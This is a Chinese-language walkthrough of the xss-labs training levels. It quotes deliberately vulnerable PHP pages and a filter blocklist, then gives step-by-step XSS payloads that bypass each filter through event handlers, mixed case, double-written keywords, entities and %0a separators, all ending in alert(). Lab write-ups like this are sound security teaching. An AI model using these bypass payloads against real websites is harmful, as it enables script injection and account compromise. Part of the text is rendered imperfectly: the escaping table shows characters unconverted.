前面我們提到XSS,對於一個基本的XSS漏洞頁面,它發生的原因往往是從用戶輸入的數據到輸出沒有有效的過濾,就比如下面的這個範例代碼。
<?php
$a = $_GET['a'];
echo $a;
?>
對於這樣毫無過濾的頁面,我們可以使用一些簡單的惡意腳本即可完成攻擊,但是事實上,爲了應付XSS的攻擊,我們會採用黑名單技術對一些特殊字符進行過濾,包括一些敏感的函數。但是這樣一來就會嚴重限制用戶的輸入,影響用戶的體驗。
% * + , – / ; < = > ^ | `
on\w+=
script
svg
iframe
link
總結:
1、最基本的攻擊,我們看到這是用get的形式提交一個name值,然後顯示到瀏覽器上,
我們輸入【<script>alert('XSS')</script>】,即可使其彈窗
2、當輸入代碼後沒有提示任何異常信息,我們的輸入緣分不動的被拋出,可以看到瀏覽器並沒有執行我們的代碼,而是當做了字符串,我們猜測這是在屬性位置,這裏我們需要構造閉合來提前結束。
"><script>alert('XSS')</script>
3、這裏我們輸入一般的腳本語句,發現並不會被執行,換一種思路我們使用觸發事件來進行彈窗,一般使用的事件函數大家可以百度一下,就相當於把彈窗的動作賦給事件函數,當瀏覽器執行事件時就會進行彈窗的動作。
'onclick='alert(1) //加上閉合
一般常用的事件格式:
<img src="" onerror="alert(/xss/)"/>
<iframe src="" onload="alert(1)"></iframe>
查看源碼:
<title>歡迎來到level3</title>
</head>
<body>
<h1 align=center>歡迎來到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
查看源碼我們發現在輸入input的value值那裏,使用了htmlspecialchars函數,而這個函數會將一些字符進行轉義,我們只要不使用這些字符即可。
& (AND) => &
" (雙引號) => " (當ENT_NOQUOTES沒有設置的時候)
' (單引號) => ' (當ENT_QUOTES設置)
< (小於號) => <
> (大於號) => >
4、這裏我們輸入<>,發現它會過濾掉<>,我們想辦法不使用<>,接上一個思路我們使用事件來嘗試。
"onclick="alert(1) //修改閉合方式
5、經過測試這裏會將你的on字段和script字段替換爲o_n和scr_ipt
相關代碼如下:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
"><a href=javascript:alert(1)> //這裏換用HTML的a標籤來執行僞代碼
6、進過測試,這裏將我們第5個使用的href字段也進行了過濾,我們可以使用大小寫形變來繞過;
"><sCript>alert('XSS')</script>
7、當我們輸入script和on的字符時,系統直接將其吃掉,這裏我們使用雙寫,讓其吃掉一個來繞過防禦,比如:
"><scriscriptpt>alert('XSS')</scrscriptipt>
8、這裏要輸入一個鏈接,輸入後下面可以點擊我們輸入的鏈接在我們輸入【"><script>alert('xss')</script>】後,檢查網頁的後臺可以看到,瀏覽器將我們的script進行了形變。
javascript:alert('1') //由上面可以得,我們將t轉換爲HTML實體進行替換
9、這裏我們使用一些特殊符號,會提示我們輸入不合法,如下所示:
部分源碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
通過源碼我們可以看到,這裏使用了strpos函數,來查找關鍵字,這就使得你的輸入必須含有http://,再此基礎上這裏對雙引號進行了替換,所以我們不能使用雙引號。
javascript:alert('1')//http:// //這裏先賦給腳本,後面在寫http連接的格式來構成閉合,通過測試不能用雙引號,這裏我們用//代替了雙引號
10、這一關不同於其他前幾關,在這個頁面沒有任何輸入窗口,通過查看瀏覽器的後臺也發現頁面將輸入口進行了隱藏。
通過查看URL中的輸入,我們發現瀏覽器上的頁面輸入的值和後臺給系統傳入的值並不一致,也就是說這裏並不是我們的代碼注入點,而是input函數裏的某個參數。通過測試我們發現當輸入有t_sort的值時,input可以傳入數據
http://192.168.67.134/xss-labs/level10.php?keyword=haha&t_sort=123 //當輸入的URL爲這樣時,參數才能夠傳入
而且本頁面也沒有輸入的窗口,無法通過點擊鼠標來提交參數,我們改變使用的事件;進過分析,我們的輸入爲如下所示
t_sort="onmousemove="javascript:alert('1') //該事件只需移動鼠標到隱藏的窗口即可完成提交。
先傳入參數並在瀏覽器的後臺修改type爲空,這是頁面會出現一個輸入框,我們將鼠標移動至窗口即可完成。
注:對於這種類型的防禦很簡單,只需要重新寫一個變量名做一個替換,即將傳入參數的部分用其他變量名做一個替換;這樣傳參數的部分就不會被輕易的得知,惡意腳本也就不會被注入了。
11、繞過空格;通過源碼我們可以看到,這裏將空格也進行了轉義,我們使用事件來進行腳本的注入。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str5)."</h3>";
?>
<img%0asrc=1%0aonerror=alert(%27XSS%27)> //這裏和SQL注入繞過的方法類似,禁止輸入空格,我們可以使用能夠分隔語句的轉義字符即可,這裏使用%0a來替換